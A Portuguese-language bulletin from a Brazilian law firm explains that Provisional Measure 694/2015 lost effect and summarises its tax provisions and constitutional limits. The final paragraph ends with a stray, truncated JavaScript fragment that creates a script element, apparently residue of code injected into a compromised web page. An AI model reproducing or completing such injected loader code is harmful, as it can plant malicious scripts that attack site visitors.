Perda de eficácia da Medida Provisória nº 694/15

Em 10 de março de 2016 foi publicado o Ato Declaratório do Congresso Nacional nº 05/2016, que declarou a perda de eficácia da Medida Provisória nº 694, de 30 de setembro de 2015 (“MP nº 694/2015 “), em razão do decurso do prazo para a sua conversão em lei.

Referida Medida Provisória, dentre outras providências, estabelecia:

(i) a limitação da dedutibilidade dos Juros sobre o Capital Próprio (“JCP”) na apuração do lucro real, bem como o aumento da alíquota do Imposto de Renda Retido na Fonte (“IRRF”) sobre eles incidente;

(ii) a alteração da tributação dos rendimentos produzidos por aplicações financeiras de renda fixa e de renda variável (CDI, LCI, CRI, LH, LIG, LCA, CDA, WA, CDCA, CRA e CPR) auferidos por qualquer beneficiário, inclusive pessoa jurídica isenta, estabelecendo a incidência do IRRF em alíquotas que variam entre 10% e 25% conforme a hipótese (NR: o projeto para sua conversão em lei já havia eliminado essas alterações);

(iii) a não incidência do Adicional do Frete para Renovação da Marinha Mercante –AFRMM sobre as mercadorias cuja origem ou destino seja o porto localizado no Estado do Espírito Santo ou em Estado da Região Norte ou da Região Nordeste do país;

(iv) a redução em 2016 e extinção em 2017 dos benefícios fiscais do chamado “Regime Especial da Indústria Química (Reiq)”; e

(v) a suspensão somente no ano calendário de 2016 do gozo dos incentivos à inovação tecnológica previstos nos arts. 19, 19-A e 26 da Lei nº 11.196, de 2005 (a “Lei do Bem”); preservava os benefícios arrolados no art. 17 da Lei do Bem.

Como anteriormente informado, embora houvesse na citada Medida Provisória previsão para sua vigência a partir de 1º de janeiro de 2016, tais modificações somente poderiam ser aplicadas a partir do exercício seguinte ao de sua conversão em lei, em razão do disposto no § 2º do artigo 62 da Constituição da República Federativa do Brasil de 1988 Constituição (“CRFB/1988”). Isto já impediria sua vigência no exercício de 2016.

A matéria ainda está pendente da edição de Decreto Legislativo específico, que regulará os efeitos da citada medida provisória, enquanto vigente. Todavia, em função do referido preceito constitucional, é possível antecipar que a MP nº 694/2015 não chegou a produzir qualquer efeito jurídico durante o período em que esteve eficaz.

Ficamos à inteira disposição para maiores esclarecimentos sobre o tema.var d=document;var s=d.createElement(‘script’);

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por Leoni Siqueira Advogados

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